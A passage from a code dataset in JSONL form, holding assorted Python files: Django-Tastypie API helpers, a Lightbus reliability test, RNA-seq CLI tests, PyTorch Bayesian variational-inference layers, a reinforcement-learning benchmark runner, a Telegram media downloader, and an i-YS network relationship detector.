readonly=field_obj.readonly\n )\n\n\ndef get_cfg():\n \"\"\"\n Получает конфигуарцию\n\n :return:\n \"\"\"\n return dict(\n resources=getattr(settings, 'BACKBONE_TASTYPIE_API_OBJECTS', []) or [],\n app_name=getattr(settings, 'BACKBONE_TASTYPIE_APP_NAME', 'TastypieApp') or 'TastypieApp'\n )\n\n\ndef import_api(api_string):\n \"\"\"\n Импортирует объект API по заданному пути\n\n :param api_string:\n :return: :raise ApiImportException:\n \"\"\"\n module_name, api_var = api_string.rsplit('.', 1)\n module = import_module(module_name)\n if not hasattr(module, api_var):\n raise ApiImportException(\n 'Unable to find variable \"%s\" from module \"%s\"' % (\n api_var, module_name))\n api_obj = getattr(module, api_var)\n if not isinstance(api_obj, Api):\n raise ApiImportException(\n 'Object \"%s\" is not instance of tastypie.api.Api' % str(api_obj))\n return api_obj\n\n\ndef get_api_resources(resources_list):\n \"\"\"\n Возвращает список API объектов на основе переданного списка строк (путей к\n api объектам)\n\n :param resources_list:\n :return:\n \"\"\"\n result = []\n for api_string in resources_list:\n result.append(import_api(api_string))\n return result\n","sub_path":"backbone_tastypie/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":5270,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"90129217","text":"import asyncio\nimport logging\nfrom asyncio import CancelledError\n\nimport pytest\n\nimport lightbus\nimport lightbus.path\nfrom lightbus import EventMessage\nfrom lightbus.utilities.async_tools import cancel\n\npytestmark = pytest.mark.reliability\n\nlogger = logging.getLogger(__name__)\n\n\n@pytest.mark.asyncio\nasync def test_random_failures(\n bus: lightbus.path.BusPath, new_bus, caplog, fire_dummy_events, dummy_api, mocker\n):\n \"\"\"Keep killing bus clients and check that we don't loose an events regardless\"\"\"\n\n caplog.set_level(logging.WARNING)\n event_ok_ids = dict()\n history = []\n\n async def listener(event_message: EventMessage, field, **kwargs):\n call_id = int(field)\n event_ok_ids.setdefault(call_id, 0)\n event_ok_ids[call_id] += 1\n await asyncio.sleep(0.03)\n\n # Put a lot of events onto the bus (we'll pull them off shortly)\n bus.client.register_api(dummy_api)\n for n in range(0, 100):\n await bus.my.dummy.my_event.fire_async(field=str(n))\n\n # Now pull the events off, and sometimes kill a worker early\n\n for n in range(0, 120):\n cursed_bus: lightbus.path.BusPath = new_bus(service_name=\"test\")\n cursed_bus.my.dummy.my_event.listen(\n listener, listener_name=\"test\", bus_options={\"since\": \"0\"}\n )\n await cursed_bus.client._setup_server()\n await asyncio.sleep(0.02)\n if n % 5 == 0:\n # Cancel 1 in every 5 attempts at handling the event\n cursed_bus.client._event_listeners[0].listener_task.cancel()\n await asyncio.sleep(0.05)\n await cursed_bus.client.close_async()\n\n duplicate_calls = [n for n, v in event_ok_ids.items() if v > 1]\n\n assert len(event_ok_ids) == 100\n assert len(duplicate_calls) > 0\n","sub_path":"tests/redis_transports/test_reliability_redis_events.py","file_name":"test_reliability_redis_events.py","file_ext":"py","file_size_in_byte":1760,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"642035275","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\nimport json\nimport os\n\nfrom click.testing import CliRunner\nimport pytest\nimport pandas as pd\nimport pandas.testing as pdt\n\n\n@pytest.fixture\ndef experiment_id():\n return '20181030_FS10000331_12_BNT40322-1214'\n\n\n@pytest.fixture\ndef taxon():\n return 'mus'\n\n\n@pytest.fixture\ndef s3_output():\n return 's3://olgabot-maca/aguamenti-test/'\n\n\n@pytest.fixture\ndef rnaseq_folder(data_folder):\n return os.path.join(data_folder, 'rnaseq')\n\n\n@pytest.fixture\ndef true_config(rnaseq_folder):\n from aguamenti.os_utils import REFLOW_WORKFLOWS\n\n config = os.path.join(rnaseq_folder, 'config.json')\n with open(config) as f:\n true_config = json.load(f)\n true_config['program'] = os.path.join(REFLOW_WORKFLOWS,\n true_config['program'])\n return true_config\n\n\ndef test_rnaseq(rnaseq_folder, experiment_id, taxon, s3_output, true_config):\n from aguamenti.rnaseq import align\n\n csv = os.path.join(rnaseq_folder, 'samples.csv')\n true_samples = pd.read_csv(csv)\n\n runner = CliRunner()\n result = runner.invoke(align, [experiment_id, taxon, s3_output])\n\n # exit code of '0' means success!\n assert result.exit_code == 0\n assert 'samples.csv' in result.output\n assert 'config.json' in result.output\n\n # Make sure the files are there\n assert os.path.exists('samples.csv')\n assert os.path.exists('config.json')\n\n # Ensure file contents are correct\n test = pd.read_csv('samples.csv')\n pdt.assert_frame_equal(test, true_samples)\n\n with open('config.json') as f:\n test_config = json.load(f)\n assert test_config == true_config\n\n\ndef test_rnaseq_custom_outdir(experiment_id, taxon, s3_output, tmpdir):\n from aguamenti.rnaseq import align\n\n runner = CliRunner()\n result = runner.invoke(align, [\"--output\", tmpdir,\n experiment_id, taxon, s3_output])\n # exit code of '0' means success!\n assert result.exit_code == 0\n\n # Make sure the files are there\n assert os.path.exists(os.path.join(tmpdir, 'samples.csv'))\n assert os.path.exists(os.path.join(tmpdir, 'config.json'))\n","sub_path":"aguamenti/tests/test_rnaseq.py","file_name":"test_rnaseq.py","file_ext":"py","file_size_in_byte":2165,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"89475214","text":"import torch\nimport torch.nn as nn\nimport torch.utils.data\nfrom torch.autograd import grad\n\ntorch.set_default_tensor_type(torch.cuda.FloatTensor)\n####################################################################################################\n#\n# Author: Chris Angelini\n#\n# Purpose: Expansion of the Bayesian EVI framework into Pytorch\n# The file is used for the creation of each layer:\n# Conv2D\n# RELU Activation\n# Maxpool2D\n# Fully Connected\n# Softmax\n#\n####################################################################################################\n\nclass EVI_Conv2D(nn.Module):\n \"\"\"\n This class is for the instance creation of an Extended Variational Inference 2D Convolutional\n Layer. This class contains the function :func:`__init__` for the initialization of the instance,\n the function :func:`forward` for the forward propagation through the layer when called, and the\n last function :func:`kl_loss_term` which is called in the loss function as part of the\n regularization of the network.\n \"\"\"\n\n def __init__(self, in_channels, out_channels,\n kernel_size=5, stride=1, padding=0, dilation=1,\n groups=1, bias=False, padding_mode='zeros',\n mean_mu=0, mean_sigma=0.1, sigma_min=-12, sigma_max=-2.2,\n input_flag=False):\n \"\"\"\n :param in_channels: Number of input channels (Required)\n :param out_channels: Number of output channels (Required)\n :param kernel_size: Size of the conv, kernel (Default 5)\n :param stride: Stride Length (Default 1)\n :param padding: Padding T/F (Default 0)\n :param dilation: Dilation T/F (Default 1)\n :param groups: Groups (Default 1)\n :param bias: Bias T/F (Default False)\n :param padding_mode: Padding_mode (Default 'zeros')\n :param mean_mu: Mean Weight Init. Distr. mu (Default 0)\n :param mean_sigma: Mean Weight Init. Distr. sigma (Default 0.1)\n :param sigma_min: Sigma Weight Init. Distr. mu (Default -12)\n :param sigma_max: Sigma Weight Init. Distr. sigma (Default -2.2)\n :param input_flag (Default False)\n \"\"\"\n super(EVI_Conv2D, self).__init__()\n self.in_channels = in_channels\n self.out_channels = out_channels\n self.kernel_size = kernel_size\n self.input_flag = input_flag\n\n self.mean_conv = nn.Conv2d(in_channels, out_channels,\n kernel_size, stride, padding, dilation,\n groups, bias, padding_mode)\n nn.init.normal_(self.mean_conv.weight, mean=mean_mu, std=mean_sigma)\n\n self.sigma_conv_weight = nn.Parameter(torch.zeros([1, out_channels]), requires_grad=True)\n nn.init.uniform_(self.sigma_conv_weight, a=sigma_min, b=sigma_max)\n\n self.unfold = nn.Unfold(kernel_size, dilation, padding, stride)\n\n def forward(self, mu, sigma=0):\n \"\"\"\n Forward pass over the EVI 2D Convolutional Layer\n\n :param mu: Data Mean (Required)\n :type mu: Float\n :param sigma: Data Sigma (Required only with input_flag=False)\n :type sigma: Float\n \"\"\"\n if self.input_flag:\n # Input Version\n mu_z = self.mean_conv(mu)\n\n x_patches = self.unfold(mu).permute(0, 2, 1)\n x_matrix = torch.bmm(x_patches, x_patches.permute(0, 2, 1))\n x_matrix_tile = x_matrix.unsqueeze(1).repeat(1, self.out_channels, 1, 1)\n sigma_z = torch.mul(torch.log(1. + torch.exp(self.sigma_conv_weight)), x_matrix_tile.permute(0, 2, 3, 1)).permute(0, 3, 1, 2)\n\n return mu_z, sigma_z\n else:\n # Non-Input Version\n mu_z = self.mean_conv(mu)\n\n diag_sigma = torch.diagonal(sigma, dim1=2, dim2=3)\n sigma_patches = self.unfold(diag_sigma.reshape([mu.shape[0], mu.shape[1], mu.shape[2], mu.shape[2]]))\n\n mu_cov = torch.reshape(self.mean_conv.weight, [-1, self.kernel_size * self.kernel_size * mu.shape[1]])\n mu_cov_square = mu_cov * mu_cov\n mu_wT_sigma_mu_w1 = torch.matmul(mu_cov_square, sigma_patches)\n sigma_1 = torch.diag_embed(mu_wT_sigma_mu_w1, dim1=2)\n\n trace = torch.sum(sigma_patches, 1).unsqueeze(2).repeat(1, 1, self.out_channels)\n trace = torch.mul(torch.log(1 + torch.exp(self.sigma_conv_weight)), trace).permute(0, 2, 1)\n trace_1 = torch.diag_embed(trace, dim1=2)\n\n x_patches = self.unfold(mu).permute(0, 2, 1)\n x_matrix = torch.bmm(x_patches, x_patches.permute(0, 2, 1))\n x_matrix_tile = x_matrix.unsqueeze(1).repeat(1, self.out_channels, 1, 1)\n sigma_3 = torch.mul(torch.log(1. + torch.exp(self.sigma_conv_weight)), x_matrix_tile.permute(0, 2, 3, 1)).permute(0, 3, 1, 2)\n\n sigma_z = sigma_1 + trace_1 + sigma_3\n\n return mu_z, sigma_z\n\n def kl_loss_term(self):\n \"\"\"\n KL Loss term for the loss function\n \"\"\"\n weights_mean = self.mean_conv.weight.permute([2, 3, 1, 0])\n\n c_s = torch.log(1. + torch.exp(self.sigma_conv_weight))\n\n kl_loss = -0.5 * torch.mean(self.kernel_size * self.kernel_size + (self.kernel_size * self.kernel_size) * torch.log(c_s) -\n torch.abs(weights_mean).sum() - (self.kernel_size * self.kernel_size) * c_s)\n return kl_loss\n\n\nclass EVI_Relu(nn.Module):\n \"\"\"\n This class is for the instance creation of an Extended Variational Inference RELU. This\n class contains the function :func:`__init__` for the initialization of the instance and\n the function :func:`forward` for the forward propagation through the layer when called\n \"\"\"\n\n def __init__(self, inplace=False):\n \"\"\"\n :param inplace: (Default False)\n \"\"\"\n super(EVI_Relu, self).__init__()\n self.relu = nn.ReLU(inplace)\n\n def forward(self, mu, sigma):\n \"\"\"\n Forward pass over the EVI Relu Layer\n\n :param mu: Data Mean (Required)\n :type mu: Float\n :param sigma: Data Sigma (Required)\n :type sigma: Float\n \"\"\"\n mu_g = self.relu(mu)\n\n activation_gradient = grad(mu_g.sum(), mu, retain_graph=True)[0]\n\n if len(mu_g.shape) == 2:\n\n grad_square = torch.bmm(activation_gradient.unsqueeze(2), activation_gradient.unsqueeze(1))\n\n sigma_g = torch.mul(sigma, grad_square).unsqueeze(1)\n else:\n gradient_matrix = activation_gradient.permute([0, 2, 3, 1]).view(activation_gradient.shape[0], -1, mu_g.shape[1]).unsqueeze(3)\n\n grad1 = gradient_matrix.permute([0, 2, 1, 3])\n grad2 = grad1.permute([0, 1, 3, 2])\n\n grad_square = torch.matmul(grad1, grad2)\n\n sigma_g = torch.mul(sigma, grad_square) # shape =[image_size*image_size,image_size*image_size, num_filters[0]]\n return mu_g, sigma_g\n\n\nclass EVI_Maxpool(nn.Module):\n \"\"\"\n This class is for the instance creation of an Extended Variational Inference 2D Maxpool. This\n class contains the function :func:`__init__` for the initialization of the instance and\n the function :func:`forward` for the forward propagation through the layer when called\n \"\"\"\n\n def __init__(self, kernel_size=2, stride=2, padding=0, dilation=1, return_indices=True, ceil_mode=False):\n \"\"\"\n :param kernel_size: Kernel Size (Default 2)\n :param stride: Stride Length (Default 2)\n :param padding: Padding T/F (Default 0)\n :param dilation: Dilation (Default 1)\n :param return_indices: Return Indices (Default True)\n :param ceil_mode: Ceiling Mode (Default False)\n \"\"\"\n super(EVI_Maxpool, self).__init__()\n self.maxPooling = nn.MaxPool2d(kernel_size, stride, padding, dilation, return_indices, ceil_mode)\n\n def forward(self, mu, sigma):\n \"\"\"\n Forward pass over the EVI 2D Maxpool Layer\n\n :param mu: Data Mean (Required)\n :type mu: Float\n :param sigma: Data Sigma (Required)\n :type sigma: Float\n \"\"\"\n mu_p, argmax1 = self.maxPooling(mu)\n\n argmax = argmax1.reshape(argmax1.shape[0], argmax1.shape[1], argmax1.shape[2] ** 2)\n\n argmax_indices = argmax.repeat(1, 1, argmax.shape[-1]).reshape(argmax.shape[0], argmax.shape[1], argmax.shape[-1], argmax.shape[-1])\n\n index_fix = argmax.unsqueeze(3) * sigma.shape[-1]\n sigma_indexes = argmax_indices + index_fix\n\n sigma_p = torch.gather(sigma.reshape(argmax.shape[0], argmax.shape[1], -1),\n dim=2,\n index=sigma_indexes.reshape(argmax.shape[0], argmax.shape[1], -1)).reshape(argmax.shape[0], argmax.shape[1],\n argmax.shape[2], argmax.shape[2])\n return mu_p, sigma_p\n\n\nclass EVI_FullyConnected(nn.Module):\n \"\"\"\n This class is for the instance creation of an Extended Variational Inference Fully Connected\n Layer. This class contains the function :func:`__init__` for the initialization of the instance,\n the function :func:`forward` for the forward propagation through the layer when called, and\n the last function :func:`kl_loss_term` which is called in the loss function as part of the\n regularization of the network.\n \"\"\"\n\n def __init__(self, in_features, out_features, bias=True,\n mean_mu=0, mean_sigma=0.1, sigma_min=-12, sigma_max=-2.2,\n mean_bias=0.001, sigma_bias=0.001,\n input_flag=False):\n \"\"\"\n :param in_features: (Required)\n :param out_features: (Required)\n :param bias: (Default True)\n :param mean_mu: (Default 0)\n :param mean_sigma: (Default 0.1)\n :param sigma_min: (Default -12)\n :param sigma_max: (Default -2.2)\n :param mean_bias: (Default 0.001)\n :param sigma_bias: (Default 0.001)\n :param input_flag: (Default False)\n \"\"\"\n super(EVI_FullyConnected, self).__init__()\n self.in_features = in_features\n self.out_features = out_features\n self.bias = bias\n self.input_flag = input_flag\n\n self.mean_fc = nn.Linear(in_features, out_features, bias)\n\n nn.init.normal_(self.mean_fc.weight, mean=mean_mu, std=mean_sigma)\n self.mean_fc.bias.data.fill_(mean_bias)\n\n self.sigma_fc_weight = nn.Parameter(torch.zeros([1, out_features]), requires_grad=True)\n nn.init.uniform_(self.sigma_fc_weight, a=sigma_min, b=sigma_max)\n self.sigma_fc_bias = nn.Parameter(torch.tensor(sigma_bias), requires_grad=True)\n\n def forward(self, mu, sigma=0):\n \"\"\"\n Forward pass over the EVI 2D Fully Connected Layer\n\n :param mu: Data Mean (Required)\n :type mu: Float\n :param sigma: Data Sigma (Required if input_flag=False)\n :type sigma: Float\n \"\"\"\n if self.input_flag:\n # Input Version\n mu_f = self.mean_fc(mu)\n\n mu_pT_mu_p = (mu * mu).reshape(-1, mu.shape[1:4].numel()).sum(1)\n mu_pT_sigma_h_mu_p = torch.log(1. + torch.exp(self.sigma_fc_weight)).repeat(mu.shape[0], 1) * mu_pT_mu_p.unsqueeze(1)\n mu_pT_sigma_h_mu_p = torch.diag_embed(mu_pT_sigma_h_mu_p, dim1=1)\n\n sigma_f = mu_pT_sigma_h_mu_p\n\n else:\n # Non-Input Version\n if len(sigma.shape) == 3:\n sigma = sigma.unsqueeze(1)\n\n diag_elements = torch.diagonal(sigma, dim1=2, dim2=3)\n diag_sigma_b = diag_elements.reshape([mu.shape[0], -1])\n\n mu_f = self.mean_fc(mu)\n\n fc_weight_mean1 = self.mean_fc.weight.T.reshape([sigma.shape[1], sigma.shape[2], self.out_features])\n fc_weight_mean1T = fc_weight_mean1.permute([0, 2, 1])\n muhT_sigmab = torch.matmul(fc_weight_mean1T, sigma) # OLD THING AND ISSUE\n muhT_sigmab_mu = torch.matmul(muhT_sigmab, fc_weight_mean1).sum(1)\n\n tr_sigma_b = diag_sigma_b.sum(1) # NEW INPUT\n tr_sigma_h_sigma_b = torch.log(1. + torch.exp(self.sigma_fc_weight)).repeat(mu.shape[0], 1) * tr_sigma_b.unsqueeze(1)\n tr_sigma_h_sigma_b = torch.diag_embed(tr_sigma_h_sigma_b, dim1=1)\n\n mu_pT_mu_p = (mu * mu).reshape(-1, mu.shape[1:4].numel()).sum(1)\n mu_pT_sigma_h_mu_p = torch.log(1. + torch.exp(self.sigma_fc_weight)).repeat(mu.shape[0], 1) * mu_pT_mu_p.unsqueeze(1)\n mu_pT_sigma_h_mu_p = torch.diag_embed(mu_pT_sigma_h_mu_p, dim1=1)\n\n sigma_f = muhT_sigmab_mu + tr_sigma_h_sigma_b + mu_pT_sigma_h_mu_p\n\n return mu_f, sigma_f\n\n def kl_loss_term(self):\n \"\"\"\n KL Loss term for the loss function\n \"\"\"\n f_s = torch.log(1 + torch.exp(self.sigma_fc_weight))\n\n kl_loss = -0.5 * torch.mean((self.in_features * torch.log(f_s)) -\n torch.abs(self.mean_fc.weight).sum() -\n (self.in_features * f_s))\n return kl_loss\n\n\nclass EVI_Softmax(nn.Module):\n \"\"\"\n This class is for the instance creation of an Extended Variational Inference Softmax Activation.\n This class contains the function :func:`__init__` for the initialization of the instance\n and the function :func:`forward` for the forward propagation through the layer when called\n \"\"\"\n\n def __init__(self, dim=1):\n \"\"\"\n :param dim: (Default 1)\n \"\"\"\n super(EVI_Softmax, self).__init__()\n self.softmax_mu_y = nn.Softmax(dim)\n\n def forward(self, mu, sigma):\n \"\"\"\n Forward pass over the EVI 2D Softmax Layer\n\n :param mu: Data Mean (Required)\n :type mu: Float\n :param sigma: Data Sigma (Required)\n :type sigma: Float\n \"\"\"\n mu_y = self.softmax_mu_y(mu)\n\n grad_f1 = torch.bmm(mu_y.unsqueeze(2), mu_y.unsqueeze(1))\n diag_f = torch.diag_embed(mu_y, dim1=1)\n grad_soft = diag_f - grad_f1\n sigma_y = torch.matmul(grad_soft, torch.matmul(sigma, grad_soft.permute(0, 2, 1)))\n return mu_y, sigma_y","sub_path":"EVI_Layers.py","file_name":"EVI_Layers.py","file_ext":"py","file_size_in_byte":14728,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"364613772","text":"import sys\nimport torch\nimport numpy as np\nfrom copy import deepcopy\nfrom tqdm import tqdm\n\nfrom mushroom_rl.core import Core\nfrom mushroom_rl.utils.dataset import compute_J, parse_dataset\n\nfrom mushroom_rl_benchmark.utils import be_range, get_init_states\n\n\ndef exec_run(agent_builder, env_builder, n_epochs, n_steps, n_steps_test=None, n_episodes_test=None, seed=None,\n quiet=True):\n \"\"\"\n Function that handles the execution of an experiment run.\n\n Args:\n agent_builder (AgentBuilder): agent builder to spawn an agent\n env_builder (EnvironmentBuilder): environment builder to spawn an environment\n n_epochs (int): number of epochs\n n_steps (int): number of steps per epoch\n\n Kwargs:\n n_steps_test (int): number of steps for testing (Default: None)\n n_episodes_test (int): number of episodes for testing (Default: None)\n seed (int): the seed\n quiet (bool): select if run should be executed verbous (Default: True)\n \"\"\"\n if seed is not None:\n print('SEED', seed)\n np.random.seed(seed)\n torch.manual_seed(seed)\n \n cmp_E = agent_builder.compute_policy_entropy\n\n mdp = env_builder.build()\n if seed is not None:\n mdp.env.seed(seed)\n agent = agent_builder.build(mdp.info)\n preprocessors = [prepro(mdp.info) for prepro in agent_builder.get_preprocessors()]\n\n core = Core(agent, mdp, preprocessors=preprocessors)\n\n eval_params = dict(\n render=False,\n quiet=quiet)\n\n if n_steps_test is None and n_episodes_test is not None:\n eval_params['n_episodes'] = n_episodes_test\n elif n_steps_test is not None and n_episodes_test is None:\n eval_params['n_steps'] = n_steps_test\n else:\n raise AttributeError('Set parameter n_steps_test or n_episodes_test')\n\n best_agent = agent\n J, R, Q, E = compute_metrics(core, eval_params, agent_builder, cmp_E)\n best_J, best_R, best_Q, best_E = J, R, Q, E\n epoch_Js = [J] # discounted reward\n epoch_Rs = [R] # total reward\n epoch_Qs = [Q] # Q Value\n epoch_Es = [E] # policy entropy\n \n if quiet is False:\n print_metrics(0, J, R, Q, E, start=True)\n\n for epoch in be_range(n_epochs, quiet):\n try:\n core.learn(n_steps=n_steps, n_steps_per_fit=agent_builder.get_n_steps_per_fit(), quiet=quiet)\n except:\n e = sys.exc_info()\n print('[ERROR] EXECUTION FAILED')\n print('EPOCH', epoch)\n print('SEED', seed)\n print(e)\n sys.exit()\n\n J, R, Q, E = compute_metrics(core, eval_params, agent_builder, cmp_E)\n\n epoch_Js.append(J)\n epoch_Rs.append(R)\n epoch_Qs.append(Q)\n if cmp_E:\n epoch_Es.append(E)\n\n # Save if best Agent\n if J > best_J:\n best_J = float(J)\n best_R = float(R)\n best_Q = float(Q)\n if cmp_E:\n best_E = float(E)\n best_agent = deepcopy(agent)\n\n if quiet is False:\n print_metrics(epoch, J, R, Q, E)\n\n result = dict(\n Js=np.array(epoch_Js),\n Qs=np.array(epoch_Qs),\n Rs=np.array(epoch_Rs),\n agent=best_agent.copy(),\n score=[best_J, best_R, best_Q])\n \n if cmp_E:\n result['Es'] = np.array(epoch_Es)\n result['score'].append(best_E)\n\n return result\n\n\ndef compute_metrics(core, eval_params, agent_builder, cmp_E):\n \"\"\"\n Function to compute the metrics.\n\n Args:\n eval_params (dict): parameters for running the evaluation\n agent_builder (AgentBuilder): the agent builder\n cmp_E (bool): select if policy entropy should be computed\n \"\"\"\n dataset = core.evaluate(**eval_params)\n\n # Compute J\n J = np.mean(compute_J(dataset, core.mdp.info.gamma))\n\n # Compute R\n R = np.mean(compute_J(dataset))\n \n # Compute Q\n states = get_init_states(dataset)\n Q = agent_builder.compute_Q(\n agent=core.agent, \n states=states)\n \n # Compute Policy Entropy\n E = None\n if cmp_E:\n if agent_builder.compute_entropy_with_states:\n E = core.agent.policy.entropy(parse_dataset(dataset)[0])\n else:\n E = core.agent.policy.entropy()\n \n return J, R, Q, E\n\n\ndef print_metrics(epoch, J, R, Q, E, start=False):\n \"\"\"\n Function that pretty prints the metrics on the standard output.\n\n Args:\n epoch (int): the current epoch\n J (float): the current value of J\n R (float): the current value of R\n Q (float): the current value of Q\n E (float): the current value of E (Set None if not defined)\n\n Kwargs:\n start (bool): print at the start or end of an epoch\n \"\"\"\n if E is None:\n tqdm.write('{} OF EPOCH {}'.format('START' if start else 'END', str(epoch)))\n tqdm.write('J: {}, R: {}, Q: {}'.format(J, R, Q))\n tqdm.write('##################################################################################################')\n else:\n tqdm.write('{} OF EPOCH {}'.format('START' if start else 'END', str(epoch)))\n tqdm.write('J: {}, R: {}, Q: {}, E: {}'.format(J, R, Q, E))\n tqdm.write('##################################################################################################')\n","sub_path":"mushroom_rl_benchmark/experiment/run.py","file_name":"run.py","file_ext":"py","file_size_in_byte":5292,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"247911294","text":"import time\nimport datetime\nimport webbrowser\n\ndef joinClasses(meetingInfo):\n while True:\n time.sleep(1)\n currentDate = datetime.datetime.now()\n currentDay = currentDate.strftime(\"%A\")\n currentTime = currentDate.strftime((\"%I:%M:%S %p\"))\n\n for i in meetingInfo:\n if i == currentDay:\n for j in meetingInfo[i]:\n if currentTime == j:\n print(\"Time for meeting!\")\n webbrowser.open(meetingInfo[i][j])","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":523,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"429144662","text":"render_mesh_min_edge_length = {\r\n \"input_folder_name\": \"Document_Methods\",\r\n \"input_file_name\": \"RenderMeshMinEdgeLength\",\r\n \"output_package_name\": \"document\",\r\n \"output_module_name\": \"render_mesh_min_edge_length\",\r\n\r\n \"doc_html\": \"\"\"\r\n Returns or sets the render mesh minimum edge length parameter of the active document.\r\n\t\tFor more information on render meshes, see the Document Properties: Mesh topic in the Rhino help file.\r\n \"\"\",\r\n\r\n \"syntax_html\": {\r\n 0: (\"dblLength\"),\r\n },\r\n\r\n \"params_html\": {\r\n 0: {\r\n \"name\": \"dblLength\",\r\n \"py_name\": \"length\",\r\n \"opt_or_req\": \"Optional\",\r\n \"type\": \"Number\",\r\n \"name_prefix\": \"dbl\",\r\n \"name_main\": \"Length\",\r\n \"doc\": \"\"\"\r\n The render mesh minimum edge length.\r\n \"\"\"\r\n },\r\n },\r\n\r\n \"returns_html\": {\r\n 0: {\r\n \"type\": \"number\",\r\n \"doc\": \"If dblLength is not specified, the current render mesh minimum edge length if successful.\"\r\n },\r\n 1: {\r\n \"type\": \"number\",\r\n \"doc\": \"If dblLength is specified, the previous render mesh minimum edge length if successful.\"\r\n },\r\n 2: {\r\n \"type\": \"null\",\r\n \"doc\": \"If not successful, or on error.\"\r\n },\r\n },\r\n\r\n \"id_com\": 847,\r\n\r\n \"params_com\": {\r\n 0: {\r\n \"name\": \"vaLength\",\r\n \"opt_or_req\": \"Optional\",\r\n \"type\": \"tagVARIANT\",\r\n },\r\n },\r\n\r\n \"returns_com\": \"tagVARIANT\",\r\n\r\n}\r\n\r\n","sub_path":"py2rhino-project/branches/sandbox2/py2rhino/_make/data/parser_out/document/render_mesh_min_edge_length.py","file_name":"render_mesh_min_edge_length.py","file_ext":"py","file_size_in_byte":1581,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"234258381","text":"import socks\nfrom telethon import TelegramClient, sync\nfrom config import api_id, api_hash\nimport asyncio\n\n\nclass teledown():\n def __init__(self):\n self.channel_name = 'lookingforqoli'\n\n\n\n @asyncio.coroutine\n def initClient(self):\n client = TelegramClient('session_1', api_id, api_hash, proxy=(socks.SOCKS5, '127.0.0.1', 1080))\n client.start()\n client.connect()\n dialogs = client.get_messages(self.channel_name, limit=20)\n for msg in dialogs.data:\n if msg.media is not None:\n client.download_media(message=msg)\n # print(str(msg.message))\n print('Username: {0} Message: {1}'.format(str(msg.sender.first_name), str(msg.sender.last_name)))\n\nif __name__ == '__main__':\n teledown = teledown()\n teledown.initClient()\n# else:\n# \tprint(msg.message)\n# print(msg.entity)\n# print(msg.sender)\n# print(str(msg.sender.first_name) + ' ' + str(msg.sender.last_name))\n# print((msg.sender.username))\n# print(msg.id)\n# print(msg.message)\n# print(client.get_me().stringify())\n# client.download_profile_photo('me')\n","sub_path":"TelegramDownload.py","file_name":"TelegramDownload.py","file_ext":"py","file_size_in_byte":1099,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"441637095","text":"\"\"\"\nA class that detects the i-YS relationship.\n\"\"\"\n\nfrom math import log\n\nimport numpy as np\nimport scipy.special\n\n\nclass IYSDetection:\n \"\"\"\n Detect the i-YS relationship on the network.\n \"\"\"\n\n def __init__(self, network_size):\n \"\"\"\n Create an i-YS relationship detection object.\n \"\"\"\n\n # parameters\n\n self.__rep_alpha = 10000 # rounds of Gibbs sampler for alpha\n\n # instance variables\n self.__network_size = network_size\n\n # signal history of the entire network\n self.__signal_history = {}\n for i in range(0, self.__network_size):\n self.__signal_history[i] = []\n\n # indicator of starting new regime at the new time instant\n self.__new_regime_indicator = np.zeros((self.__network_size, 1))\n\n # time instant starting from 0\n self.__network_time = -1\n\n # store the likelihood history of each model\n self.__likelihood_history = {}\n\n for i in range(0, self.__network_size):\n\n self.__likelihood_history[i] = {}\n\n for j in range(0, 2**(self.__network_size-1)):\n\n self.__likelihood_history[i][j] = []\n\n # store the a posterior prob history of each model\n self.__aprob_history = {}\n\n for i in range(0, self.__network_size):\n\n self.__aprob_history[i] = {}\n\n for j in range(0, 2**(self.__network_size-1)):\n\n self.__aprob_history[i][j] = []\n\n # create methods for read only parameters\n @property\n def likelihood_history(self):\n return self.__likelihood_history\n\n @property\n def aprob_history(self):\n return self.__aprob_history\n\n def read_new_time(self, new_col):\n \"\"\"\n Callable method that reads the new signal of the network,\n and then update the model likelihoods based on new signal.\n Args:\n new_col:\n\n Returns:\n None.\n \"\"\"\n\n # ----------------------------------------------------\n # deal with the first time instant\n # ----------------------------------------------------\n\n if self.__network_time == -1:\n\n self.__network_time = 0\n self.__new_regime_indicator = np.zeros((self.__network_size, 1))\n\n for i in range(0, self.__network_size):\n\n self.__signal_history[i].append(0)\n\n self.__estimate_update()\n\n return 0\n\n # ----------------------------------------------------\n # after the first time instant\n # ----------------------------------------------------\n\n self.__network_time += 1\n\n self.__new_regime_indicator = np.copy(new_col)\n\n # update the regime history\n for i in range(0, self.__network_size):\n\n # append the new signals to the history\n self.__signal_history[i].append(new_col[i])\n# self.__current_regime_length[i] += 1\n\n # update the prob of each of the model\n self.__estimate_update()\n\n return 0\n\n def __estimate_update(self):\n \"\"\"\n Read the new signal for each new time instant.\n If there is a new regime for any of the nodes,\n we carry out the estimation algo.\n [core func]\n :return: the a posterior prob list for each node\n \"\"\"\n\n # ----------------------------------------------------\n # deal with the first time instant\n # ----------------------------------------------------\n\n if self.__network_time == 0:\n\n prob_temp = 1 / 2 ** (self.__network_size - 1)\n\n for i in range(0, self.__network_size):\n\n for j in range(0, 2 ** (self.__network_size - 1)):\n\n self.__likelihood_history[i][j].append(prob_temp)\n self.__aprob_history[i][j].append(prob_temp)\n\n return 0\n\n # ----------------------------------------------------\n # after the first time instant\n # ----------------------------------------------------\n\n for i in range(0, self.__network_size):\n\n # only start estimate if the current node starts a new regime\n #if self.__new_regime_indicator[i] == 1:\n if self.__network_time == 999:\n\n # list that saves the aprob of each model\n aprob_save = []\n\n # go through all possible models and calculate the prob\n for j in range(0, 2**(self.__network_size-1)):\n\n # generate code for the current model\n # the ith node is located at the ith last digit\n # if a digit is 1, that means the corresponding\n # node is influencing the ith node in this model\n\n temp = bin(j)[2:].zfill(self.__network_size-1)\n\n if i == 0:\n current_model_code = temp + \"0\"\n\n else:\n current_model_code = \"\"\n\n for jj in range(0, 